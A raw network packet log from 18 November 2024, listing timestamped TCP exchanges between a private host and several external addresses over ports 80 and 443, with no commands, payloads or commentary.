Nov 18, 2024 13:29:31.904819012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.904834986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.904836893 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.904850006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.904851913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.904870033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.904896021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.905414104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.905452967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.905472994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.905487061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.905508041 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.905561924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.905599117 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.905613899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.905632019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.905638933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.905664921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.905786991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.905802965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.905838013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.906625986 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.906655073 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.906737089 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.906857967 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.906889915 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.906980991 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.906990051 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.907004118 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.907042980 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.907181025 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.907191992 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.907243013 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.907356024 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.907382011 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.907424927 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.907560110 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.907593966 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.907861948 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.908021927 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.908037901 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.908169031 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.908181906 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.908308029 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.908317089 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.908421993 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.908432007 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.908579111 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.908591032 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.908757925 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:31.908767939 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:31.947995901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.948048115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.948092937 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.948131084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.983120918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983165979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983179092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.983181953 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983283997 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.983309031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983333111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983346939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983361006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983374119 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.983396053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.983407974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.983445883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983484030 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983486891 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.983500957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:31.983525038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:31.983549118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022233009 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022254944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022270918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022286892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022315025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022327900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022339106 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022342920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022358894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022371054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022376060 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022399902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022403002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022423983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022427082 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022444010 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022449970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022460938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022465944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022488117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022499084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022527933 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022569895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022640944 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022656918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022670984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022686958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022703886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022712946 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022744894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022783995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022835970 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022864103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022880077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022969007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.022983074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.022994995 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023029089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.023111105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023154974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023170948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023200989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.023226976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.023325920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023339987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023370028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.023375988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023381948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.023390055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023427010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.023463011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023617983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023662090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.023685932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023699045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.023742914 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.100847960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.100868940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.100892067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.100904942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.100919962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.100923061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.100939035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.100955009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.100977898 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.101035118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.101058006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.101083994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.101104021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.101222992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.101238012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.101253033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.101278067 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.101305962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.101324081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.101368904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.101406097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.136502028 CET	443	49802	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.137484074 CET	49802	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.137510061 CET	443	49802	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.138823986 CET	443	49802	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.138901949 CET	49802	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.139805079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.139838934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.139853001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.139868975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.139914036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.139914036 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.139966965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.139981031 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140017033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140029907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140045881 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140062094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140088081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140098095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140163898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140166998 CET	49802	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.140216112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140256882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140265942 CET	443	49802	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.140306950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140357971 CET	49802	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.140364885 CET	443	49802	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.140458107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140539885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140542984 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140556097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140569925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140583038 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140598059 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140605927 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140624046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140722036 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140734911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140749931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140763998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140775919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140778065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140806913 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140824080 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.140945911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.140989065 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141036034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141061068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141074896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141097069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141119003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141124010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141133070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141170979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141227007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141310930 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141321898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141335964 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141349077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141376972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141376972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141376972 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141393900 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141601086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141612053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141659975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141671896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141772985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141772985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141772985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141782999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141794920 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141808033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.141824961 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.141861916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.183106899 CET	49802	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.226320028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226358891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226372957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226392031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.226392984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.226422071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226422071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.226433992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226447105 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226473093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.226500034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.226723909 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226737976 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226748943 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226761103 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226773024 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.226773977 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226784945 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.226787090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.226819038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.226830006 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.257778883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.257834911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.257848978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.257858992 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.257879972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.257885933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.257885933 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.257915974 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.257922888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.257934093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.257976055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258001089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258042097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258074045 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258085966 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258122921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258140087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258229971 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258245945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258275032 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258316994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258718967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258749008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258763075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258794069 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258821964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258855104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258912086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258924961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.258928061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258949995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.258968115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259087086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259099960 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259114027 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259126902 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259140968 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259150982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259186983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259237051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259319067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259330988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259344101 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259372950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259388924 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259464979 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259478092 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259490013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259502888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259511948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259546995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259565115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259689093 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259715080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259727955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259731054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259741068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259752989 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259768963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259780884 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259833097 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259902000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.259946108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.259987116 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.260003090 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.260015011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.260040045 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.260051012 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.260117054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.260154009 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.289535999 CET	443	49801	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:32.289989948 CET	49801	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:32.290024996 CET	443	49801	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:32.291124105 CET	443	49801	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:32.291194916 CET	49801	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:32.292793989 CET	49801	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:32.292865992 CET	443	49801	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:32.293284893 CET	49801	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:32.293297052 CET	443	49801	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:32.305294991 CET	443	49802	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.305389881 CET	443	49802	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.305524111 CET	49802	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.306371927 CET	49802	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.306395054 CET	443	49802	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.309720039 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.309767008 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.309825897 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.310209990 CET	49810	443	192.168.2.8	3.170.115.43
Nov 18, 2024 13:29:32.310225010 CET	443	49810	3.170.115.43	192.168.2.8
Nov 18, 2024 13:29:32.339334011 CET	49801	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:32.344494104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344512939 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344527006 CET	80	49746	185.215.113.206	192.168.2.8
